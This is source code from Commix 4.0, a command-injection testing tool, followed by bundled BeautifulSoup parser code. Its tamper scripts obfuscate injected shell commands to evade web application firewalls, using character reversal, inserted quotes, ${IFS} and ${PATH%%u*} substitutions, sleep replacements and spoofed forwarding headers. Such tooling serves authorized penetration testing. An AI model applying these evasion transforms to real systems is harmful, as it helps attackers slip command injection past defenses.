from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Is used to reverse (characterwise) the user-supplied operating system commands.
Notes: This tamper script works against Unix-like target(s).
References: [1] https://github.com/commixproject/commix/issues/408
[2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b
"""
__tamper__ = "rev"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.EXPLOITATION_PHASE:
if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD:
if settings.USE_BACKTICKS:
rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`"
else:
rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)"
payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0])
return payload
# eof commix-4.0/src/core/tamper/singlequotes.py 0000664 0000000 0000000 00000002600 14731205621 0020753 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds single quotes (') between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "singlequotes"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_single_quotes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "''"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char, ""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_single_quotes(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/slash2env.py 0000664 0000000 0000000 00000002373 14731205621 0020145 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.utils import menu
from src.utils import settings
"""
About: Replaces slashes (/) with environment variable value "${PATH%%u*}".
Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/
"""
__tamper__ = "slash2env"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_slash2env(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
payload = payload.replace("/", "${PATH%%u*}")
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_slash2env(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/sleep2timeout.py 0000664 0000000 0000000 00000004563 14731205621 0021044 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
About: Uses "timeout" function for time-based attacks.
* Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost".
* Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX".
Notes: This tamper script works against all targets.
"""
__tamper__ = "sleep2timeout"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def sleep_to_timeout_ping(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.TARGET_OS != settings.OS.WINDOWS:
for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload):
payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0]))
payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0")
else:
payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout")
return payload
if settings.CLASSIC_STATE != False or \
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
if settings.TRANFROM_PAYLOAD == None:
checks.time_relative_tamper(__tamper__)
settings.TRANFROM_PAYLOAD = False
return payload
else:
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
return sleep_to_timeout_ping(payload)
return payload
# eof commix-4.0/src/core/tamper/sleep2usleep.py 0000664 0000000 0000000 00000004016 14731205621 0020644 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
About: Replaces "sleep" with "usleep" command in the generated payloads.
Notes: This tamper script works against Unix-like target(s).
Reference: http://man7.org/linux/man-pages/man3/usleep.3.html
"""
__tamper__ = "sleep2usleep"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def sleep_to_usleep(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload):
sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0]
if match.group(0).split(settings.WHITESPACES[0])[1] != "0":
usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6
else:
usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1]
payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay)
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.CLASSIC_STATE != False or \
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
checks.time_relative_tamper(__tamper__)
settings.TRANFROM_PAYLOAD = False
return payload
else:
settings.TRANFROM_PAYLOAD = True
if settings.TRANFROM_PAYLOAD:
return sleep_to_usleep(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/space2htab.py 0000664 0000000 0000000 00000002233 14731205621 0020247 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Replaces space character ('%20') with horizontal tab ('%09')
Notes: This tamper script works against all targets.
"""
__tamper__ = "space2htab"
space2htab = "%09"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if len(settings.WHITESPACES) != 0:
if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE):
settings.WHITESPACES[0] = space2htab
elif space2htab not in settings.WHITESPACES:
settings.WHITESPACES.append(space2htab)
return payload
# eof commix-4.0/src/core/tamper/space2ifs.py 0000664 0000000 0000000 00000003153 14731205621 0020114 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Replaces space character ('%20') with the internal field separator ('$IFS').
The internal field separator refers to a variable which defines the character
or characters used to separate a pattern into tokens for some operations.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "space2ifs"
space2ifs = "${IFS}"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if len(settings.WHITESPACES) != 0:
if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False:
settings.WHITESPACES[0] = space2ifs
if settings.TARGET_OS != settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE):
settings.WHITESPACES[0] = space2ifs
elif space2ifs not in settings.WHITESPACES:
settings.WHITESPACES.append(space2ifs)
else:
if space2ifs in settings.WHITESPACES:
settings.WHITESPACES.remove(space2ifs)
return payload
# eof
commix-4.0/src/core/tamper/space2plus.py 0000664 0000000 0000000 00000002277 14731205621 0020324 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Replaces space character ('%20') with plus ('+').
Notes: This tamper script works against all targets.
"""
__tamper__ = "space2plus"
space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if len(settings.WHITESPACES) != 0:
if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE):
settings.WHITESPACES[0] = space2plus
elif space2plus not in settings.WHITESPACES:
settings.WHITESPACES.append(space2plus)
return payload
# eof commix-4.0/src/core/tamper/space2vtab.py 0000664 0000000 0000000 00000002503 14731205621 0020265 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.thirdparty.six.moves import urllib as _urllib
"""
About: Replaces space character ('%20') with vertical tab ('%0b').
Notes: This tamper script works against Windows targets.
"""
__tamper__ = "space2vtab"
space2vtab = "%0b"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if len(settings.WHITESPACES) != 0:
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE):
settings.WHITESPACES[0] = space2vtab
elif space2vtab not in settings.WHITESPACES:
settings.WHITESPACES.append(space2vtab)
else:
if space2vtab in settings.WHITESPACES:
settings.WHITESPACES.remove(space2vtab)
return payload
# eof commix-4.0/src/core/tamper/uninitializedvariable.py 0000664 0000000 0000000 00000003207 14731205621 0022613 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import random
import string
from src.utils import settings
"""
About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/
"""
__tamper__ = "uninitializedvariable"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_uninitialized_variable(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
num = 2
obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char, ""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_uninitialized_variable(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/xforwardedfor.py 0000664 0000000 0000000 00000003216 14731205621 0021111 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import random
from random import sample
from src.utils import settings
from src.core.compat import xrange
"""
About: Append a fake HTTP header 'X-Forwarded-For' (and alike).
"""
__tamper__ = "xforwardedfor"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(request):
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
request.add_header('X-Forwarded-For', randomIP())
request.add_header('X-Client-Ip', randomIP())
request.add_header('X-Real-Ip', randomIP())
request.add_header('CF-Connecting-IP', randomIP())
request.add_header('True-Client-IP', randomIP())
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
request.add_header('Via', '1.1 Chrome-Compression-Proxy')
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0])
# eof commix-4.0/src/core/testing.py 0000664 0000000 0000000 00000003732 14731205621 0016425 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import settings
"""
Runs the basic smoke testing
"""
def smoke_test():
info_msg = "Executing smoke test."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
_ = True
file_paths = []
for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames])
for filename in file_paths:
if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename:
path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0])
path = path.replace(settings.COMMIX_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.')
if "." in path:
try:
__import__(path)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Succeeded importing '" + str(path) + "' module."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
except Exception as e:
error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'."
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
_ = False
result = "Smoke test "
if _:
result = result + "passed."
settings.print_data_to_stdout(settings.print_bold_info_msg(result))
else:
result = result + "failed."
settings.print_data_to_stdout(settings.print_bold_error_msg(result))
raise SystemExit()
commix-4.0/src/thirdparty/ 0000775 0000000 0000000 00000000000 14731205621 0015633 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0017750 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/thirdparty/beautifulsoup/ 0000775 0000000 0000000 00000000000 14731205621 0020522 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/beautifulsoup/__init__.py 0000664 0000000 0000000 00000006434 14731205621 0022642 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
Beautiful Soup
Elixir and Tonic
"The Screen-Scraper's Friend"
http://www.crummy.com/software/BeautifulSoup/
Beautiful Soup parses a (possibly invalid) XML or HTML document into a
tree representation. It provides methods and Pythonic idioms that make
it easy to navigate, search, and modify the tree.
A well-formed XML/HTML document yields a well-formed data
structure. An ill-formed XML/HTML document yields a correspondingly
ill-formed data structure. If your document is only locally
well-formed, you can use this library to find and process the
well-formed part of it.
Beautiful Soup works with Python 2.2 and up. It has no external
dependencies, but you'll have more success at converting data to UTF-8
if you also install these three packages:
* chardet, for auto-detecting character encodings
http://chardet.feedparser.org/
* cjkcodecs and iconv_codec, which add more encodings to the ones supported
by stock Python.
http://cjkpython.i18n.org/
Beautiful Soup defines classes for two main parsing strategies:
* BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific
language that kind of looks like XML.
* BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid
or invalid. This class has web browser-like heuristics for
obtaining a sensible parse tree in the face of common HTML errors.
Beautiful Soup also defines a class (UnicodeDammit) for autodetecting
the encoding of an HTML or XML document, and converting it to
Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser.
For more than you ever wanted to know about Beautiful Soup, see the
documentation:
http://www.crummy.com/software/BeautifulSoup/documentation.html
Here, have some legalese:
Copyright (c) 2004-2010, Leonard Richardson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the the Beautiful Soup Consortium and All
Night Kosher Bakery nor the names of its contributors may be
used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.
"""
pass commix-4.0/src/thirdparty/beautifulsoup/beautifulsoup.py 0000664 0000000 0000000 00000234310 14731205621 0023766 0 ustar 00root root 0000000 0000000 """Beautiful Soup
Elixir and Tonic
"The Screen-Scraper's Friend"
http://www.crummy.com/software/BeautifulSoup/
Beautiful Soup parses a (possibly invalid) XML or HTML document into a
tree representation. It provides methods and Pythonic idioms that make
it easy to navigate, search, and modify the tree.
A well-formed XML/HTML document yields a well-formed data
structure. An ill-formed XML/HTML document yields a correspondingly
ill-formed data structure. If your document is only locally
well-formed, you can use this library to find and process the
well-formed part of it.
Beautiful Soup works with Python 2.2 and up. It has no external
dependencies, but you'll have more success at converting data to UTF-8
if you also install these three packages:
* chardet, for auto-detecting character encodings
http://chardet.feedparser.org/
* cjkcodecs and iconv_codec, which add more encodings to the ones supported
by stock Python.
http://cjkpython.i18n.org/
Beautiful Soup defines classes for two main parsing strategies:
* BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific
language that kind of looks like XML.
* BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid
or invalid. This class has web browser-like heuristics for
obtaining a sensible parse tree in the face of common HTML errors.
Beautiful Soup also defines a class (UnicodeDammit) for autodetecting
the encoding of an HTML or XML document, and converting it to
Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser.
For more than you ever wanted to know about Beautiful Soup, see the
documentation:
http://www.crummy.com/software/BeautifulSoup/documentation.html
Here, have some legalese:
Copyright (c) 2004-2010, Leonard Richardson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the Beautiful Soup Consortium and All
Night Kosher Bakery nor the names of its contributors may be
used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.
"""
from __future__ import generators
from __future__ import print_function
__author__ = "Leonard Richardson (leonardr@segfault.org)"
__version__ = "3.2.1"
__copyright__ = "Copyright (c) 2004-2012 Leonard Richardson"
__license__ = "New-style BSD"
import codecs
import re
import sys
if sys.version_info >= (3, 0):
xrange = range
text_type = str
binary_type = bytes
basestring = str
else:
text_type = unicode
binary_type = str
try:
from htmlentitydefs import name2codepoint
except ImportError:
name2codepoint = {}
try:
set
except NameError:
from sets import Set as set
from src.utils import sgmllib
# try:
# import sgmllib
# except ImportError:
# from src.utils import sgmllib
try:
import markupbase
except ImportError:
import _markupbase as markupbase
#These hacks make Beautiful Soup able to parse XML with namespaces
sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*')
markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match
DEFAULT_OUTPUT_ENCODING = "utf-8"
def _match_css_class(str):
"""Build a RE to match the given CSS class."""
return re.compile(r"(^|.*\s)%s($|\s)" % str)
# First, the classes that represent markup elements.
class PageElement(object):
"""Contains the navigational information for some part of the page
(either a tag or a piece of text)"""
def _invert(h):
"Cheap function to invert a hash."
i = {}
for k,v in h.items():
i[v] = k
return i
XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'",
"quot" : '"',
"amp" : "&",
"lt" : "<",
"gt" : ">" }
XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS)
def setup(self, parent=None, previous=None):
"""Sets up the initial relations between this element and
other elements."""
self.parent = parent
self.previous = previous
self.next = None
self.previousSibling = None
self.nextSibling = None
if self.parent and self.parent.contents:
self.previousSibling = self.parent.contents[-1]
self.previousSibling.nextSibling = self
def replaceWith(self, replaceWith):
oldParent = self.parent
myIndex = self.parent.index(self)
if hasattr(replaceWith, "parent")\
and replaceWith.parent is self.parent:
# We're replacing this element with one of its siblings.
index = replaceWith.parent.index(replaceWith)
if index and index < myIndex:
# Furthermore, it comes before this element. That
# means that when we extract it, the index of this
# element will change.
myIndex = myIndex - 1
self.extract()
oldParent.insert(myIndex, replaceWith)
def replaceWithChildren(self):
myParent = self.parent
myIndex = self.parent.index(self)
self.extract()
reversedChildren = list(self.contents)
reversedChildren.reverse()
for child in reversedChildren:
myParent.insert(myIndex, child)
def extract(self):
"""Destructively rips this element out of the tree."""
if self.parent:
try:
del self.parent.contents[self.parent.index(self)]
except ValueError:
pass
#Find the two elements that would be next to each other if
#this element (and any children) hadn't been parsed. Connect
#the two.
lastChild = self._lastRecursiveChild()
nextElement = lastChild.next
if self.previous:
self.previous.next = nextElement
if nextElement:
nextElement.previous = self.previous
self.previous = None
lastChild.next = None
self.parent = None
if self.previousSibling:
self.previousSibling.nextSibling = self.nextSibling
if self.nextSibling:
self.nextSibling.previousSibling = self.previousSibling
self.previousSibling = self.nextSibling = None
return self
def _lastRecursiveChild(self):
"Finds the last element beneath this object to be parsed."
lastChild = self
while hasattr(lastChild, 'contents') and lastChild.contents:
lastChild = lastChild.contents[-1]
return lastChild
def insert(self, position, newChild):
if isinstance(newChild, basestring) \
and not isinstance(newChild, NavigableString):
newChild = NavigableString(newChild)
position = min(position, len(self.contents))
if hasattr(newChild, 'parent') and newChild.parent is not None:
# We're 'inserting' an element that's already one
# of this object's children.
if newChild.parent is self:
index = self.index(newChild)
if index > position:
# Furthermore we're moving it further down the
# list of this object's children. That means that
# when we extract this element, our target index
# will jump down one.
position = position - 1
newChild.extract()
newChild.parent = self
previousChild = None
if position == 0:
newChild.previousSibling = None
newChild.previous = self
else:
previousChild = self.contents[position-1]
newChild.previousSibling = previousChild
newChild.previousSibling.nextSibling = newChild
newChild.previous = previousChild._lastRecursiveChild()
if newChild.previous:
newChild.previous.next = newChild
newChildsLastElement = newChild._lastRecursiveChild()
if position >= len(self.contents):
newChild.nextSibling = None
parent = self
parentsNextSibling = None
while not parentsNextSibling:
parentsNextSibling = parent.nextSibling
parent = parent.parent
if not parent: # This is the last element in the document.
break
if parentsNextSibling:
newChildsLastElement.next = parentsNextSibling
else:
newChildsLastElement.next = None
else:
nextChild = self.contents[position]
newChild.nextSibling = nextChild
if newChild.nextSibling:
newChild.nextSibling.previousSibling = newChild
newChildsLastElement.next = nextChild
if newChildsLastElement.next:
newChildsLastElement.next.previous = newChildsLastElement
self.contents.insert(position, newChild)
def append(self, tag):
"""Appends the given tag to the contents of this tag."""
self.insert(len(self.contents), tag)
def findNext(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the first item that matches the given criteria and
appears after this Tag in the document."""
return self._findOne(self.findAllNext, name, attrs, text, **kwargs)
def findAllNext(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns all items that match the given criteria and appear
after this Tag in the document."""
return self._findAll(name, attrs, text, limit, self.nextGenerator,
**kwargs)
def findNextSibling(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the closest sibling to this Tag that matches the
given criteria and appears after this Tag in the document."""
return self._findOne(self.findNextSiblings, name, attrs, text,
**kwargs)
def findNextSiblings(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns the siblings of this Tag that match the given
criteria and appear after this Tag in the document."""
return self._findAll(name, attrs, text, limit,
self.nextSiblingGenerator, **kwargs)
fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x
def findPrevious(self, name=None, attrs={}, text=None, **kwargs):
"""Returns the first item that matches the given criteria and
appears before this Tag in the document."""
return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs)
def findAllPrevious(self, name=None, attrs={}, text=None, limit=None,
**kwargs):
"""Returns all items that match the given criteria and appear
before this Tag in the document."""
return self._findAll(name, attrs, text, limit, self.previousGenerator,
**kwargs)
fetchPrevious = findAllPrevious # Compatibility with pre-3.x
def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs):
